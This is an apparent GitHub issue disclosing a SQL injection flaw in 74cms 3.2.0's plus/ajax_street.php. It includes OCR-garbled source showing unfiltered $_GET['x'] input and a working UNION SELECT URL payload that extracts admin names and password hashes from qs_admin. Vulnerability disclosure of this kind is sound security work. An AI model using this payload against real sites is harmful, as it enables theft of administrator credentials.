New issue

Jump to bottom

74cms 3.2.0 plus/ajax_street.php x SQLinject #10

```
Open blindkey opened this issue on Feb 18, 2020 · 0 comments
```

```
Owner
blindkey commented on Feb 18, 2020
upload/plus/ajax_street.php
                                                        #x_street_php ×
* E¹OA£»²»OEÐͶO³IÐ∂″ÚAĕOOEIºIÐIE½EIºIA¿μΑμΑΟU·¢²¼i£
   y i upload

    b admin
    b agreement
    b company

                                                     define('IN_QISHI', true);
require_once(dirname(dirname(__FILE__)).'/include/plus.common.inc.php');
$act = !empty($_GET['act']) ? trim($_GET['act']) : '';
$listtype=trim($_GET['listtype']);
if($act == 'alphabet')
     ⊢ 🗎 data
     ⊢ IIII html
                                                             $alphabet = trim($_GET['x']);
if (!empty($alphabet))
     ⊦ IIII jobs
                                                             $result = $db->query("select * from ".table('category')." where c_alias='QS_street'
AND c_index='{$alphabet}' ");
while($row = $db->fetch_array($result))
     ► IIII phpmailer
     plus
ajax_click.php
ajax_common.php
ajax_contact.php
                                                                     if ($listtype=="li")
                                                                    $htm.="{$row['c_name']}
";
        ajax_recommend.php
       ajax_user.php
ajax_verify_email.php
ajax_verify_mobile.php
asyn_mail.php
                                                29
30
                                                                    t
$htm.="a href=\"?streetid={$row['c_id']}\" title=\"{$row['c_note']}\" class=
\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span>";
        asyn_sms.php
        shortcut.php
$alphabet=trim($_GET['x']);
and then $alphabet has been pass to sql without filter so leads to sql inject
 /plus/ajax_street.php?act=alphabet&x=11�' union select 1,2,3,concat(0x3C2F613E20),5,6,7,concat(0x4E56535F544553542D2D,admin_name,0x3A,pwd,0x2D2D4E56535F54455354),9 from qs_admin#
```

🔀 🌪 blindkey mentioned this issue on Feb 18, 2020

74cms 3.2.0 ajax_street.php key SQL inject #13

⊙ Open

Assignees

No one assigned

Labels None yet

Proiects

None yet

Milestone No milestone

Development

No branches or pull requests

1 participant

